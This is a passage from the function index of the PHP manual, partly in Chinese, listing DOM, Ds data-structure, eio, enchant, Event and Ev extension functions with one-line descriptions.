    • DOMNamedNodeMap::item - Retrieves a node specified by index
    • DOMNode::appendChild - Adds new child at the end of the children
    • DOMNode::C14N - Canonicalize nodes to a string
    • DOMNode::C14NFile - Canonicalize nodes to a file
    • DOMNode::cloneNode - Clones a node
    • DOMNode::getLineNo - Get line number for a node
    • DOMNode::getNodePath - Get an XPath for a node
    • DOMNode::hasAttributes - Checks if node has attributes
    • DOMNode::hasChildNodes - Checks if node has children
    • DOMNode::insertBefore - Adds a new child before a reference node
    • DOMNode::isDefaultNamespace - Checks if the specified namespaceURI is the default namespace or not
    • DOMNode::isSameNode - Indicates if two nodes are the same node
    • DOMNode::isSupported - Checks if feature is supported for specified version
    • DOMNode::lookupNamespaceUri - Gets the namespace URI of the node based on the prefix
    • DOMNode::lookupPrefix - Gets the namespace prefix of the node based on the namespace URI
    • DOMNode::normalize - Normalizes the node
    • DOMNode::removeChild - Removes child from list of children
    • DOMNode::replaceChild - Replaces a child
    • DOMNodeList::count - Get number of nodes in the list
    • DOMNodeList::item - Retrieves a node specified by index
    • DOMProcessingInstruction::__construct - Creates a new DOMProcessingInstruction object
    • DOMText::isElementContentWhitespace - Returns whether this text node contains whitespace in element content
    • DOMText::isWhitespaceInElementContent - Indicates whether this text node contains whitespace
    • DOMText::splitText - Breaks this node into two nodes at the specified offset
    • DOMText::__construct - Creates a new DOMText object
    • DOMXPath::evaluate - Evaluates the given XPath expression and returns a typed result if possible
    • DOMXPath::query - Evaluates the given XPath expression
    • DOMXPath::registerNamespace - Registers the namespace with the DOMXPath object
    • DOMXPath::registerPhpFunctions - Register PHP functions as XPath functions
    • DOMXPath::__construct - Creates a new DOMXPath object
    • dom_import_simplexml - Gets a DOMElement object from a SimpleXMLElement object
    • DOTNET::__construct - DOTNET class constructor
    • doubleval - floatval 的别名
    • Ds\Collection::clear - Removes all values
    • Ds\Collection::copy - Returns a shallow copy of the collection
    • Ds\Collection::isEmpty - Returns whether the collection is empty
    • Ds\Collection::toArray - Converts the collection to an array
    • Ds\Deque::allocate - Allocates enough memory for a required capacity
    • Ds\Deque::apply - Updates all values by applying a callback function to each value
    • Ds\Deque::capacity - Returns the current capacity
    • Ds\Deque::clear - Removes all values from the deque
    • Ds\Deque::contains - Determines if the deque contains given values
    • Ds\Deque::copy - Returns a shallow copy of the deque
    • Ds\Deque::count - Returns the number of values in the collection
    • Ds\Deque::filter - Creates a new deque using a callable to determine which values to include
    • Ds\Deque::find - Attempts to find a value's index
    • Ds\Deque::first - Returns the first value in the deque
    • Ds\Deque::get - Returns the value at a given index
    • Ds\Deque::insert - Inserts values at a given index
    • Ds\Deque::isEmpty - Returns whether the deque is empty
    • Ds\Deque::join - Joins all values together as a string
    • Ds\Deque::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Deque::last - Returns the last value
    • Ds\Deque::map - Returns the result of applying a callback to each value
    • Ds\Deque::merge - Returns the result of adding all given values to the deque
    • Ds\Deque::pop - Removes and returns the last value
    • Ds\Deque::push - Adds values to the end of the deque
    • Ds\Deque::reduce - Reduces the deque to a single value using a callback function
    • Ds\Deque::remove - Removes and returns a value by index
    • Ds\Deque::reverse - Reverses the deque in-place
    • Ds\Deque::reversed - Returns a reversed copy
    • Ds\Deque::rotate - Rotates the deque by a given number of rotations
    • Ds\Deque::set - Updates a value at a given index
    • Ds\Deque::shift - Removes and returns the first value
    • Ds\Deque::slice - Returns a sub-deque of a given range
    • Ds\Deque::sort - Sorts the deque in-place
    • Ds\Deque::sorted - Returns a sorted copy
    • Ds\Deque::sum - Returns the sum of all values in the deque
    • Ds\Deque::toArray - Converts the deque to an array
    • Ds\Deque::unshift - Adds values to the front of the deque
    • Ds\Deque::__construct - Creates a new instance
    • Ds\Hashable::equals - Determines whether an object is equal to the current instance
    • Ds\Hashable::hash - Returns a scalar value to be used as a hash value
    • Ds\Map::allocate - Allocates enough memory for a required capacity
    • Ds\Map::apply - Updates all values by applying a callback function to each value
    • Ds\Map::capacity - Returns the current capacity
    • Ds\Map::clear - Removes all values
    • Ds\Map::copy - Returns a shallow copy of the map
    • Ds\Map::count - Returns the number of values in the map
    • Ds\Map::diff - Creates a new map using keys that aren't in another map
    • Ds\Map::filter - Creates a new map using a callable to determine which pairs to include
    • Ds\Map::first - Returns the first pair in the map
    • Ds\Map::get - Returns the value for a given key
    • Ds\Map::hasKey - Determines whether the map contains a given key
    • Ds\Map::hasValue - Determines whether the map contains a given value
    • Ds\Map::intersect - Creates a new map by intersecting keys with another map
    • Ds\Map::isEmpty - Returns whether the map is empty
    • Ds\Map::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Map::keys - Returns a set of the map's keys
    • Ds\Map::ksort - Sorts the map in-place by key
    • Ds\Map::ksorted - Returns a copy, sorted by key
    • Ds\Map::last - Returns the last pair of the map
    • Ds\Map::map - Returns the result of applying a callback to each value
    • Ds\Map::merge - Returns the result of adding all given associations
    • Ds\Map::pairs - Returns a sequence containing all the pairs of the map
    • Ds\Map::put - Associates a key with a value
    • Ds\Map::putAll - Associates all key-value pairs of a traversable object or array
    • Ds\Map::reduce - Reduces the map to a single value using a callback function
    • Ds\Map::remove - Removes and returns a value by key
    • Ds\Map::reverse - Reverses the map in-place
    • Ds\Map::reversed - Returns a reversed copy
    • Ds\Map::skip - Returns the pair at a given positional index
    • Ds\Map::slice - Returns a subset of the map defined by a starting index and length
    • Ds\Map::sort - Sorts the map in-place by value
    • Ds\Map::sorted - Returns a copy, sorted by value
    • Ds\Map::sum - Returns the sum of all values in the map
    • Ds\Map::toArray - Converts the map to an array
    • Ds\Map::union - Creates a new map using values from the current instance and another map
    • Ds\Map::values - Returns a sequence of the map's values
    • Ds\Map::xor - Creates a new map using keys of either the current instance or of another map, but not of both
    • Ds\Map::__construct - Creates a new instance
    • Ds\Pair::clear - Removes all values
    • Ds\Pair::copy - Returns a shallow copy of the pair
    • Ds\Pair::isEmpty - Returns whether the pair is empty
    • Ds\Pair::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Pair::toArray - Converts the pair to an array
    • Ds\Pair::__construct - Creates a new instance
    • Ds\PriorityQueue::allocate - Allocates enough memory for a required capacity
    • Ds\PriorityQueue::capacity - Returns the current capacity
    • Ds\PriorityQueue::clear - Removes all values
    • Ds\PriorityQueue::copy - Returns a shallow copy of the queue
    • Ds\PriorityQueue::count - Returns the number of values in the queue
    • Ds\PriorityQueue::isEmpty - Returns whether the queue is empty
    • Ds\PriorityQueue::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\PriorityQueue::peek - Returns the value at the front of the queue
    • Ds\PriorityQueue::pop - Removes and returns the value with the highest priority
    • Ds\PriorityQueue::push - Pushes values into the queue
    • Ds\PriorityQueue::toArray - Converts the queue to an array
    • Ds\PriorityQueue::__construct - Creates a new instance
    • Ds\Queue::allocate - Allocates enough memory for a required capacity
    • Ds\Queue::capacity - Returns the current capacity
    • Ds\Queue::clear - Removes all values
    • Ds\Queue::copy - Returns a shallow copy of the queue
    • Ds\Queue::count - Returns the number of values in the queue
    • Ds\Queue::isEmpty - Returns whether the queue is empty
    • Ds\Queue::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Queue::peek - Returns the value at the front of the queue
    • Ds\Queue::pop - Removes and returns the value at the front of the queue
    • Ds\Queue::push - Pushes values into the queue
    • Ds\Queue::toArray - Converts the queue to an array
    • Ds\Queue::__construct - Creates a new instance
    • Ds\Sequence::allocate - Allocates enough memory for a required capacity
    • Ds\Sequence::apply - Updates all values by applying a callback function to each value
    • Ds\Sequence::capacity - Returns the current capacity
    • Ds\Sequence::contains - Determines if the sequence contains given values
    • Ds\Sequence::filter - Creates a new sequence using a callable to determine which values to include
    • Ds\Sequence::find - Attempts to find a value's index
    • Ds\Sequence::first - Returns the first value in the sequence
    • Ds\Sequence::get - Returns the value at a given index
    • Ds\Sequence::insert - Inserts values at a given index
    • Ds\Sequence::join - Joins all values together as a string
    • Ds\Sequence::last - Returns the last value
    • Ds\Sequence::map - Returns the result of applying a callback to each value
    • Ds\Sequence::merge - Returns the result of adding all given values to the sequence
    • Ds\Sequence::pop - Removes and returns the last value
    • Ds\Sequence::push - Adds values to the end of the sequence
    • Ds\Sequence::reduce - Reduces the sequence to a single value using a callback function
    • Ds\Sequence::remove - Removes and returns a value by index
    • Ds\Sequence::reverse - Reverses the sequence in-place
    • Ds\Sequence::reversed - Returns a reversed copy
    • Ds\Sequence::rotate - Rotates the sequence by a given number of rotations
    • Ds\Sequence::set - Updates a value at a given index
    • Ds\Sequence::shift - Removes and returns the first value
    • Ds\Sequence::slice - Returns a sub-sequence of a given range
    • Ds\Sequence::sort - Sorts the sequence in-place
    • Ds\Sequence::sorted - Returns a sorted copy
    • Ds\Sequence::sum - Returns the sum of all values in the sequence
    • Ds\Sequence::unshift - Adds values to the front of the sequence
    • Ds\Set::add - Adds values to the set
    • Ds\Set::allocate - Allocates enough memory for a required capacity
    • Ds\Set::capacity - Returns the current capacity
    • Ds\Set::clear - Removes all values
    • Ds\Set::contains - Determines if the set contains all values
    • Ds\Set::copy - Returns a shallow copy of the set
    • Ds\Set::count - Returns the number of values in the set
    • Ds\Set::diff - Creates a new set using values that aren't in another set
    • Ds\Set::filter - Creates a new set using a callable to determine which values to include
    • Ds\Set::first - Returns the first value in the set
    • Ds\Set::get - Returns the value at a given index
    • Ds\Set::intersect - Creates a new set by intersecting values with another set
    • Ds\Set::isEmpty - Returns whether the set is empty
    • Ds\Set::join - Joins all values together as a string
    • Ds\Set::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Set::last - Returns the last value in the set
    • Ds\Set::merge - Returns the result of adding all given values to the set
    • Ds\Set::reduce - Reduces the set to a single value using a callback function
    • Ds\Set::remove - Removes all given values from the set
    • Ds\Set::reverse - Reverses the set in-place
    • Ds\Set::reversed - Returns a reversed copy
    • Ds\Set::slice - Returns a sub-set of a given range
    • Ds\Set::sort - Sorts the set in-place
    • Ds\Set::sorted - Returns a sorted copy
    • Ds\Set::sum - Returns the sum of all values in the set
    • Ds\Set::toArray - Converts the set to an array
    • Ds\Set::union - Creates a new set using values from the current instance and another set
    • Ds\Set::xor - Creates a new set using values in either the current instance or in another set, but not in both
    • Ds\Set::__construct - Creates a new instance
    • Ds\Stack::allocate - Allocates enough memory for a required capacity
    • Ds\Stack::capacity - Returns the current capacity
    • Ds\Stack::clear - Removes all values
    • Ds\Stack::copy - Returns a shallow copy of the stack
    • Ds\Stack::count - Returns the number of values in the stack
    • Ds\Stack::isEmpty - Returns whether the stack is empty
    • Ds\Stack::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Stack::peek - Returns the value at the top of the stack
    • Ds\Stack::pop - Removes and returns the value at the top of the stack
    • Ds\Stack::push - Pushes values onto the stack
    • Ds\Stack::toArray - Converts the stack to an array
    • Ds\Stack::__construct - Creates a new instance
    • Ds\Vector::allocate - Allocates enough memory for a required capacity
    • Ds\Vector::apply - Updates all values by applying a callback function to each value
    • Ds\Vector::capacity - Returns the current capacity
    • Ds\Vector::clear - Removes all values
    • Ds\Vector::contains - Determines if the vector contains given values
    • Ds\Vector::copy - Returns a shallow copy of the vector
    • Ds\Vector::count - Returns the number of values in the collection
    • Ds\Vector::filter - Creates a new vector using a callable to determine which values to include
    • Ds\Vector::find - Attempts to find a value's index
    • Ds\Vector::first - Returns the first value in the vector
    • Ds\Vector::get - Returns the value at a given index
    • Ds\Vector::insert - Inserts values at a given index
    • Ds\Vector::isEmpty - Returns whether the vector is empty
    • Ds\Vector::join - Joins all values together as a string
    • Ds\Vector::jsonSerialize - Returns a representation that can be converted to JSON
    • Ds\Vector::last - Returns the last value
    • Ds\Vector::map - Returns the result of applying a callback to each value
    • Ds\Vector::merge - Returns the result of adding all given values to the vector
    • Ds\Vector::pop - Removes and returns the last value
    • Ds\Vector::push - Adds values to the end of the vector
    • Ds\Vector::reduce - Reduces the vector to a single value using a callback function
    • Ds\Vector::remove - Removes and returns a value by index
    • Ds\Vector::reverse - Reverses the vector in-place
    • Ds\Vector::reversed - Returns a reversed copy
    • Ds\Vector::rotate - Rotates the vector by a given number of rotations
    • Ds\Vector::set - Updates a value at a given index
    • Ds\Vector::shift - Removes and returns the first value
    • Ds\Vector::slice - Returns a sub-vector of a given range
    • Ds\Vector::sort - Sorts the vector in-place
    • Ds\Vector::sorted - Returns a sorted copy
    • Ds\Vector::sum - Returns the sum of all values in the vector
    • Ds\Vector::toArray - Converts the vector to an array
    • Ds\Vector::unshift - Adds values to the front of the vector
    • Ds\Vector::__construct - Creates a new instance
  • e
    • each - 返回数组中当前的键／值对并将数组指针向前移动一步
    • easter_date - 得到指定年份的复活节午夜时的Unix时间戳。
    • easter_days - 得到指定年份的3月21日到复活节之间的天数
    • echo - 输出一个或多个字符串
    • eio_busy - Artificially increase load. Could be useful in tests, benchmarking
    • eio_cancel - Cancels a request
    • eio_chmod - Change file/direcrory permissions
    • eio_chown - Change file/direcrory permissions
    • eio_close - Close file
    • eio_custom - Execute custom request like any other eio_* call
    • eio_dup2 - Duplicate a file descriptor
    • eio_event_loop - Polls libeio until all requests proceeded
    • eio_fallocate - Allows the caller to directly manipulate the allocated disk space for a file
    • eio_fchmod - Change file permissions
    • eio_fchown - Change file ownership
    • eio_fdatasync - Synchronize a file's in-core state with storage device
    • eio_fstat - Get file status
    • eio_fstatvfs - Get file system statistics
    • eio_fsync - Synchronize a file's in-core state with storage device
    • eio_ftruncate - Truncate a file
    • eio_futime - Change file last access and modification times
    • eio_get_event_stream - Get stream representing a variable used in internal communications with libeio
    • eio_get_last_error - Returns string describing the last error associated with a request resource
    • eio_grp - Creates a request group
    • eio_grp_add - Adds a request to the request group
    • eio_grp_cancel - Cancels a request group
    • eio_grp_limit - Set group limit
    • eio_init - (Re-)initialize Eio
    • eio_link - Create a hardlink for file
    • eio_lstat - Get file status
    • eio_mkdir - Create directory
    • eio_mknod - Create a special or ordinary file
    • eio_nop - Does nothing, except go through the whole request cycle
    • eio_npending - Returns number of finished, but unhandled requests
    • eio_nready - Returns number of not-yet handled requests
    • eio_nreqs - Returns number of requests to be processed
    • eio_nthreads - Returns number of threads currently in use
    • eio_open - Opens a file
    • eio_poll - Can be to be called whenever there are pending requests that need finishing
    • eio_read - Read from a file descriptor at given offset
    • eio_readahead - Perform file readahead into page cache
    • eio_readdir - Reads through a whole directory
    • eio_readlink - Read value of a symbolic link
    • eio_realpath - Get the canonicalized absolute pathname
    • eio_rename - Change the name or location of a file
    • eio_rmdir - Remove a directory
    • eio_seek - Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence
    • eio_sendfile - Transfer data between file descriptors
    • eio_set_max_idle - Set maximum number of idle threads
    • eio_set_max_parallel - Set maximum parallel threads
    • eio_set_max_poll_reqs - Set maximum number of requests processed in a poll
    • eio_set_max_poll_time - Set maximum poll time
    • eio_set_min_parallel - Set minimum parallel thread number
    • eio_stat - Get file status
    • eio_statvfs - Get file system statistics
    • eio_symlink - Create a symbolic link
    • eio_sync - Commit buffer cache to disk
    • eio_syncfs - Calls Linux' syncfs syscall, if available
    • eio_sync_file_range - Sync a file segment with disk
    • eio_truncate - Truncate a file
    • eio_unlink - Delete a name and possibly the file it refers to
    • eio_utime - Change file last access and modification times
    • eio_write - Write to file
    • empty - 检查一个变量是否为空
    • EmptyIterator::current - The current() method
    • EmptyIterator::key - The key() method
    • EmptyIterator::next - The next() method
    • EmptyIterator::rewind - The rewind() method
    • EmptyIterator::valid - The valid() method
    • enchant_broker_describe - Enumerates the Enchant providers
    • enchant_broker_dict_exists - Whether a dictionary exists or not. Using non-empty tag
    • enchant_broker_free - Free the broker resource and its dictionnaries
    • enchant_broker_free_dict - Free a dictionary resource
    • enchant_broker_get_dict_path - Get the directory path for a given backend
    • enchant_broker_get_error - Returns the last error of the broker
    • enchant_broker_init - Create a new broker object capable of requesting
    • enchant_broker_list_dicts - Returns a list of available dictionaries
    • enchant_broker_request_dict - Create a new dictionary using a tag
    • enchant_broker_request_pwl_dict - Creates a dictionary using a PWL file
    • enchant_broker_set_dict_path - Set the directory path for a given backend
    • enchant_broker_set_ordering - Declares a preference of dictionaries to use for the language
    • enchant_dict_add_to_personal - Add a word to personal word list
    • enchant_dict_add_to_session - Add 'word' to this spell-checking session
    • enchant_dict_check - Check whether a word is correctly spelled or not
    • enchant_dict_describe - Describes an individual dictionary
    • enchant_dict_get_error - Returns the last error of the current spelling-session
    • enchant_dict_is_in_session - Whether or not 'word' exists in this spelling-session
    • enchant_dict_quick_check - Check the word is correctly spelled and provide suggestions
    • enchant_dict_store_replacement - Add a correction for a word
    • enchant_dict_suggest - Will return a list of values if any of those pre-conditions are not met
    • end - 将数组的内部指针指向最后一个单元
    • ereg - 正则表达式匹配
    • eregi - 不区分大小写的正则表达式匹配
    • eregi_replace - 不区分大小写的正则表达式替换
    • ereg_replace - 正则表达式替换
    • ErrorException::getSeverity - 获取异常的严重程度
    • ErrorException::__construct - 构造一个异常（Exception）
    • error_clear_last - 清除最近一次错误
    • error_get_last - 获取最后发生的错误
    • error_log - 发送错误信息到某个地方
    • error_reporting - 设置应该报告何种 PHP 错误
    • escapeshellarg - 把字符串转码为可以在 shell 命令里使用的参数
    • escapeshellcmd - shell 元字符转义
    • Ev::backend - Returns an integer describing the backend used by libev
    • Ev::depth - Returns recursion depth
    • Ev::embeddableBackends - Returns the set of backends that are embeddable in other event loops
    • Ev::feedSignal - Feed a signal event info Ev
    • Ev::feedSignalEvent - Feed signal event into the default loop
    • Ev::iteration - Return the number of times the default event loop has polled for new events
    • Ev::now - Returns the time when the last iteration of the default event loop has started
    • Ev::nowUpdate - Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress
    • Ev::recommendedBackends - Returns a bit mask of recommended backends for current platform
    • Ev::resume - Resume previously suspended default event loop
    • Ev::run - Begin checking for events and calling callbacks for the default loop
    • Ev::sleep - Block the process for the given number of seconds
    • Ev::stop - Stops the default event loop
    • Ev::supportedBackends - Returns the set of backends supported by current libev configuration
    • Ev::suspend - Suspend the default event loop
    • Ev::time - Returns the current time in fractional seconds since the epoch
    • Ev::verify - Performs internal consistency checks(for debugging)
    • eval - 把字符串作为PHP代码执行
    • EvCheck::createStopped - Create instance of a stopped EvCheck watcher
    • EvCheck::__construct - Constructs the EvCheck watcher object
    • EvChild::createStopped - Create instance of a stopped EvCheck watcher
    • EvChild::set - Configures the watcher
    • EvChild::__construct - Constructs the EvChild watcher object
    • EvEmbed::createStopped - Create stopped EvEmbed watcher object
    • EvEmbed::set - Configures the watcher
    • EvEmbed::sweep - Make a single, non-blocking sweep over the embedded loop
    • EvEmbed::__construct - Constructs the EvEmbed object
    • Event::add - Makes event pending
    • Event::addSignal - Makes signal event pending
    • Event::addTimer - Makes timer event pending
    • Event::del - Makes event non-pending
    • Event::delSignal - Makes signal event non-pending
    • Event::delTimer - Makes timer event non-pending
    • Event::free - Make event non-pending and free resources allocated for this event
    • Event::getSupportedMethods - Returns array with of the names of the methods supported in this version of Libevent
    • Event::pending - Detects whether event is pending or scheduled
    • Event::set - Re-configures event
    • Event::setPriority - Set event priority
    • Event::setTimer - Re-configures timer event
    • Event::signal - Constructs signal event object
    • Event::timer - Constructs timer event object
    • Event::__construct - Constructs Event object
    • EventBase::dispatch - Dispatch pending events
    • EventBase::exit - Stop dispatching events
    • EventBase::free - Free resources allocated for this event base
    • EventBase::getFeatures - Returns bitmask of features supported
    • EventBase::getMethod - Returns event method in use
    • EventBase::getTimeOfDayCached - Returns the current event base time
    • EventBase::gotExit - Checks if the event loop was told to exit
    • EventBase::gotStop - Checks if the event loop was told to exit
    • EventBase::loop - Dispatch pending events
    • EventBase::priorityInit - Sets number of priorities per event base
    • EventBase::reInit - Re-initialize event base(after a fork)
    • EventBase::stop - Tells event_base to stop dispatching events
    • EventBase::__construct - Constructs EventBase object
    • EventBuffer::add - Append data to the end of an event buffer
    • EventBuffer::addBuffer - Move all data from a buffer provided to the current instance of EventBuffer
    • EventBuffer::appendFrom - Moves the specified number of bytes from a source buffer to the end of the current buffer
    • EventBuffer::copyout - Copies out specified number of bytes from the front of the buffer
    • EventBuffer::drain - Removes specified number of bytes from the front of the buffer without copying it anywhere
    • EventBuffer::enableLocking - 说明
    • EventBuffer::expand - Reserves space in buffer
    • EventBuffer::freeze - Prevent calls that modify an event buffer from succeeding
    • EventBuffer::lock - Acquires a lock on buffer
    • EventBuffer::prepend - Prepend data to the front of the buffer
    • EventBuffer::prependBuffer - Moves all data from source buffer to the front of current buffer
    • EventBuffer::pullup - Linearizes data within buffer and returns it's contents as a string
    • EventBuffer::read - Read data from an evbuffer and drain the bytes read
    • EventBuffer::readFrom - Read data from a file onto the end of the buffer
    • EventBuffer::readLine - Extracts a line from the front of the buffer
    • EventBuffer::search - Scans the buffer for an occurrence of a string
    • EventBuffer::searchEol - Scans the buffer for an occurrence of an end of line
    • EventBuffer::substr - Substracts a portion of the buffer data
    • EventBuffer::unfreeze - Re-enable calls that modify an event buffer
    • EventBuffer::unlock - Releases lock acquired by EventBuffer::lock
    • EventBuffer::write - Write contents of the buffer to a file or socket
    • EventBuffer::__construct - Constructs EventBuffer object
    • EventBufferEvent::close - Closes file descriptor associated with the current buffer event
    • EventBufferEvent::connect - Connect buffer event's file descriptor to given address or UNIX socket
    • EventBufferEvent::connectHost - Connects to a hostname with optionally asyncronous DNS resolving
    • EventBufferEvent::createPair - Creates two buffer events connected to each other
    • EventBufferEvent::disable - Disable events read, write, or both on a buffer event
    • EventBufferEvent::enable - Enable events read, write, or both on a buffer event
    • EventBufferEvent::free - Free a buffer event
    • EventBufferEvent::getDnsErrorString - Returns string describing the last failed DNS lookup attempt
    • EventBufferEvent::getEnabled - Returns bitmask of events currently enabled on the buffer event
    • EventBufferEvent::getInput - Returns underlying input buffer associated with current buffer event
    • EventBufferEvent::getOutput - Returns underlying output buffer associated with current buffer event
    • EventBufferEvent::read - Read buffer's data
    • EventBufferEvent::readBuffer - Drains the entire contents of the input buffer and places them into buf
    • EventBufferEvent::setCallbacks - Assigns read, write and event(status) callbacks
    • EventBufferEvent::setPriority - Assign a priority to a bufferevent
    • EventBufferEvent::setTimeouts - Set the read and write timeout for a buffer event
    • EventBufferEvent::setWatermark - Adjusts read and/or write watermarks
    • EventBufferEvent::sslError - Returns most recent OpenSSL error reported on the buffer event
    • EventBufferEvent::sslFilter - Create a new SSL buffer event to send its data over another buffer event
    • EventBufferEvent::sslGetCipherInfo - Returns a textual description of the cipher
    • EventBufferEvent::sslGetCipherName - Returns the current cipher name of the SSL connection
    • EventBufferEvent::sslGetCipherVersion - Returns version of cipher used by current SSL connection
    • EventBufferEvent::sslGetProtocol - Returns the name of the protocol used for current SSL connection
    • EventBufferEvent::sslRenegotiate - Tells a bufferevent to begin SSL renegotiation
    • EventBufferEvent::sslSocket - Creates a new SSL buffer event to send its data over an SSL on a socket
    • EventBufferEvent::write - Adds data to a buffer event's output buffer
    • EventBufferEvent::writeBuffer - Adds contents of the entire buffer to a buffer event's output buffer
    • EventBufferEvent::__construct - Constructs EventBufferEvent object
    • EventConfig::avoidMethod - Tells libevent to avoid specific event method
    • EventConfig::requireFeatures - Enters a required event method feature that the application demands
    • EventConfig::setMaxDispatchInterval - Prevents priority inversion
    • EventConfig::__construct - Constructs EventConfig object
    • EventDnsBase::addNameserverIp - Adds a nameserver to the DNS base
    • EventDnsBase::addSearch - Adds a domain to the list of search domains
    • EventDnsBase::clearSearch - Removes all current search suffixes
    • EventDnsBase::countNameservers - Gets the number of configured nameservers
    • EventDnsBase::loadHosts - Loads a hosts file (in the same format as /etc/hosts) from hosts file
    • EventDnsBase::parseResolvConf - Scans the resolv.conf-formatted file
    • EventDnsBase::setOption - Set the value of a configuration option
    • EventDnsBase::setSearchNdots - Set the 'ndots' parameter for searches
    • EventDnsBase::__construct - Constructs EventDnsBase object
    • EventHttp::accept - Makes an HTTP server accept connections on the specified socket stream or resource
    • EventHttp::addServerAlias - Adds a server alias to the HTTP server object
    • EventHttp::bind - Binds an HTTP server on the specified address and port
    • EventHttp::removeServerAlias - Removes server alias
    • EventHttp::setAllowedMethods - Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
    • EventHttp::setCallback - Sets a callback for specified URI
    • EventHttp::setDefaultCallback - Sets default callback to handle requests that are not caught by specific callbacks
    • EventHttp::setMaxBodySize - Sets maximum request body size
    • EventHttp::setMaxHeadersSize - Sets maximum HTTP header size
    • EventHttp::setTimeout - Sets the timeout for an HTTP request
    • EventHttp::__construct - Constructs EventHttp object(the HTTP server)
    • EventHttpConnection::getBase - Returns event base associated with the connection
    • EventHttpConnection::getPeer - Gets the remote address and port associated with the connection
    • EventHttpConnection::makeRequest - Makes an HTTP request over the specified connection
    • EventHttpConnection::setCloseCallback - Set callback for connection close
    • EventHttpConnection::setLocalAddress - Sets the IP address from which HTTP connections are made
    • EventHttpConnection::setLocalPort - Sets the local port from which connections are made
    • EventHttpConnection::setMaxBodySize - Sets maximum body size for the connection
    • EventHttpConnection::setMaxHeadersSize - Sets maximum header size
    • EventHttpConnection::setRetries - Sets the retry limit for the connection
    • EventHttpConnection::setTimeout - Sets the timeout for the connection
    • EventHttpConnection::__construct - Constructs EventHttpConnection object
    • EventHttpRequest::addHeader - Adds an HTTP header to the headers of the request
    • EventHttpRequest::cancel - Cancels a pending HTTP request
    • EventHttpRequest::clearHeaders - Removes all output headers from the header list of the request
    • EventHttpRequest::closeConnection - Closes associated HTTP connection
    • EventHttpRequest::findHeader - Finds the value belonging a header
    • EventHttpRequest::free - Frees the object and removes associated events
    • EventHttpRequest::getBufferEvent - Returns EventBufferEvent object
    • EventHttpRequest::getCommand - Returns the request command(method)
    • EventHttpRequest::getConnection - Returns EventHttpConnection object
    • EventHttpRequest::getHost - Returns the request host
    • EventHttpRequest::getInputBuffer - Returns the input buffer
    • EventHttpRequest::getInputHeaders - Returns associative array of the input headers
    • EventHttpRequest::getOutputBuffer - Returns the output buffer of the request
    • EventHttpRequest::getOutputHeaders - Returns associative array of the output headers
    • EventHttpRequest::getResponseCode - Returns the response code
    • EventHttpRequest::getUri - Returns the request URI
    • EventHttpRequest::removeHeader - Removes an HTTP header from the headers of the request
    • EventHttpRequest::sendError - Send an HTML error message to the client
    • EventHttpRequest::sendReply - Send an HTML reply to the client
    • EventHttpRequest::sendReplyChunk - Send another data chunk as part of an ongoing chunked reply
    • EventHttpRequest::sendReplyEnd - Complete a chunked reply, freeing the request as appropriate
    • EventHttpRequest::sendReplyStart - Initiate a chunked reply
    • EventHttpRequest::__construct - Constructs EventHttpRequest object
    • EventListener::disable - Disables an event connect listener object
    • EventListener::enable - Enables an event connect listener object
    • EventListener::getBase - Returns event base associated with the event listener
    • EventListener::getSocketName - Retreives the current address to which the listener's socket is bound
    • EventListener::setCallback - The setCallback purpose
    • EventListener::setErrorCallback - Set event listener's error callback
    • EventListener::__construct - Creates new connection listener associated with an event base
    • EventSslContext::__construct - Constructs an OpenSSL context for use with Event classes
    • EventUtil::getLastSocketErrno - Returns the most recent socket error number
    • EventUtil::getLastSocketError - Returns the most recent socket error
    • EventUtil::getSocketFd - Returns numeric file descriptor of a socket, or stream
    • EventUtil::getSocketName - Retreives the current address to which the socket is bound
    • EventUtil::setSocketOption - Sets socket options
    • EventUtil::sslRandPoll - Generates entropy by means of OpenSSL's RAND_poll()
    • EventUtil::__construct - The abstract constructor
    • event_base_free - Destroy event base
    • event_base_loop - Handle events
    • event_base_loopbreak - Abort event loop
    • event_base_loopexit - Exit loop after a time
    • event_base_new - Create and initialize new event base
    • event_base_priority_init - Set the number of event priority levels
    • event_base_reinit - Reinitialize the event base after a fork
    • event_base_set - Associate event base with an event
    • event_buffer_base_set - Associate buffered event with an event base
    • event_buffer_disable - Disable a buffered event
    • event_buffer_enable - Enable a buffered event
    • event_buffer_fd_set - Change a buffered event file descriptor
    • event_buffer_free - Destroy buffered event
    • event_buffer_new - Create new buffered event
    • event_buffer_priority_set - Assign a priority to a buffered event
    • event_buffer_read - Read data from a buffered event
    • event_buffer_set_callback - Set or reset callbacks for a buffered event
    • event_buffer_timeout_set - Set read and write timeouts for a buffered event
    • event_buffer_watermark_set - Set the watermarks for read and write events
    • event_buffer_write - Write data to a buffered event
    • event_new - Create new event
    • event_priority_set - Assign a priority to an event
    • event_timer_add - 别名 event_add
    • event_timer_del - 别名 event_del
    • event_timer_new - 别名 event_new
    • event_timer_set - Prepare a timer event
    • EvFork::createStopped - Creates a stopped instance of EvFork watcher class
    • EvFork::__construct - Constructs the EvFork watcher object
    • EvIdle::createStopped - Creates instance of a stopped EvIdle watcher object
    • EvIdle::__construct - Constructs the EvIdle watcher object
    • EvIo::createStopped - Create stopped EvIo watcher object
    • EvIo::set - Configures the watcher
    • EvIo::__construct - Constructs EvIo watcher object
    • EvLoop::backend - Returns an integer describing the backend used by libev
    • EvLoop::check - Creates EvCheck object associated with the current event loop instance
    • EvLoop::child - Creates EvChild object associated with the current event loop
    • EvLoop::defaultLoop - Returns or creates the default event loop
    • EvLoop::embed - Creates an instance of EvEmbed watcher associated with the current EvLoop object
    • EvLoop::fork - Creates EvFork watcher object associated with the current event loop instance
    • EvLoop::idle - Creates EvIdle watcher object associated with the current event loop instance
    • EvLoop::invokePending - Invoke all pending watchers while resetting their pending state
    • EvLoop::io - Create EvIo watcher object associated with the current event loop instance
    • EvLoop::loopFork - Must be called after a fork
    • EvLoop::now - Returns the current "event loop time"
    • EvLoop::nowUpdate - Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress
    • EvLoop::periodic - Creates EvPeriodic watcher object associated with the current event loop instance
    • EvLoop::prepare - Creates EvPrepare watcher object associated with the current event loop instance
    • EvLoop::resume - Resume previously suspended default event loop
